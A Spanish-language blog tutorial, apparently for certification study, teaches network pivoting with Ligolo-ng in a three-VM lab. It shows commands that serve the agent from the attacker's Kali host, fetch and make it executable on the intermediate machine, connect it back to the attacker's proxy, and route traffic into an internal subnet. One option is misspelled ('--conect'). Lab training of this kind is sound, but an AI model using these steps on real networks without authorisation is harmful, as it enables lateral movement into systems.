UNIRME A CIBERINSIDER

Tutorial Ligolo-ng: Cómo crear túneles y hacer pivoting

Índice

Si estás aquí es porque has intentado hacer pivoting alguna vez y sabes lo que eso conlleva.

  • Horas modificando ProxyChains que se corta justo antes de conseguir la comunicación….
  • Nmap que falla más de lo que te gustaría…
  • Y organizar los puertos de redirección… ¿era del puerto 8000 al 80 o del 80 al 8000?

En este artículo voy a enseñarte a utilizar una herramienta que facilita el proceso de pivoting: Ligolo.

Así que quédate si quieres:

  1. Conocer qué es Ligolo-ng y por qué sustituye a configuraciones complejas con ProxyChains, Socat o Chisel.
  2. Y, aprender a utilizarlo de forma sencilla y montar tu propio laboratorio de práctica.

Pero antes de continuar, si es la primera vez que escuchas el término pivoting, déjame explicártelo.

Qué es el pivoting en hacking

El pivoting es una técnica que se utiliza para moverte dentro de una red. Una vez que hemos conseguido acceso a una parte del sistema, utilizamos ese punto de acceso para explorar y atacar otras áreas internas que no eran visibles o accesibles desde el exterior.

Básicamente, usamos un dispositivo, por ejemplo, un servidor, para llegar a otro. Si comprometemos un servidor web, normalmente acabamos en una DMZ o zona desmilitarizada.

Los equipos dentro de esta DMZ pueden ser accesibles desde Internet. Estos equipos están “conectados” con los equipos de la red interna, es decir, están en medio. Cuando hacemos pivoting, utilizamos este equipo intermedio para pivotar hacia dentro y conseguir acceso a sistemas y equipos a los cuales, desde un inicio, no teníamos acceso.

Lo que acabo de explicarte es un ejemplo de pivoting. No en todos los casos es así, pero en certificaciones como eJPT, eCPPT o incluso la OSCP nos lo podemos encontrar.

Como sabrás, existen muchas herramientas para hacer pivoting; por ejemplo, en este canal tienes un vídeo de mi preparación de eCPPT donde utilizamos Chisel y Socat para hacer pivoting.

Además de realizar pivoting para llegar a una red a la que no teníamos acceso en un principio, necesitamos comunicación bidireccional; es decir, desde nuestra máquina atacante hacia la máquina interna y desde la máquina interna hacia nuestra máquina atacante.

Y esto es lo que hace diferente a Ligolo del resto de herramientas.

Qué hace diferente a Ligolo-ng

Ligolo-ng es una herramienta sencilla y rápida de configurar que nos permite crear túneles a partir de una conexión TCP o TLS usando una interfaz. Esto significa que no es necesario utilizar Proxychains u otra configuración adicional para realizar pivoting.

Ligolo lo hace todo muy fácil y, si tienes dudas, cuando acabes este vídeo, ve y mira el vídeo que te he comentado sobre Chisel y Socat.

Así que, ahora que conoces qué es el pivoting y por qué te recomiendo utilizar Ligolo, vamos al PC y comenzamos con el laboratorio práctico.

Tutorial de Ligolo-ng

Vamos a simular un entorno con tres máquinas virtuales en VirtualBox:

  • Kali Linux → Máquina atacante
  • Pivoting1 (Ubuntu) → Máquina intermedia (gateway)
  • Pivoting2 (Ubuntu) → Máquina final, sólo accesible desde Pivoting1

Descargar Ligolo NG

En Kali, descarga desde el repositorio oficial:

wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_linux_amd64.tar.gz
tar -xf ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz
tar -xf ligolo-ng_agent_0.8.2_linux_amd64.tar.gz

Transferimos el agente a la máquina intermedia

Levanta un servidor en Kali:

sudo python3 -m http.server 80

En la máquina intermedia:

wget http://tu_ip/agent
chmod +x agent

Establecer el Túnel Ligolo

En Kali:

./proxy --selfcert

En la máquina intermedia:

./agent --conect tu_ip:11601 --ignore-cert

Recibimos una conexión en nuestro proxy indicando que el agente se ha conectado.

Crear interfaz TUN en Kali

sudo ip tuntap add user $(whoami) mode tun name ligolo
sudo ip link set ligolo up
sudo ip route add 20.20.20.0/24 dev ligolo

Activamos la sesión desde el proxy para crear el túnel:

session
select 1
start

Ahora puedes hacer ping desde Kali a la ip a fuera de nuestro alcance.

Redirección de puertos con Ligolo

Si queremos conseguir comunicación bidireccional, necesitamos crear un port forwarding para que la máquina intermedia redirija la comunicación.

En la sesión proxy de Ligolo, ejecutamos lo siguiente:

listener add --addr 0.0.0.0:8080 --to 127.0.0.1:80

Esto redirige lo que reciba el agente (Pivoting1) en el puerto 8080 hacia el puerto 80 en Kali.

Desde Pivoting2:

curl http://ip_máquina_intermedia:8080

Únete a CiberInsider y  prepárate para dar el primer paso a conseguir tu empleo en ciberseguridad

Al suscribirte, aceptas la política de privacidad de rinku.tech y recibir noticias, contenidos, comunicaciones relacionados con la web, gratuitos y premium.

Clase gratuita ciberseguridad
CLASE GRATUITA
Descubre cómo conseguir tu primer trabajo en ciberseguridad para asegurar tu futuro profesional en un sector en pleno crecimiento y con muy buen salario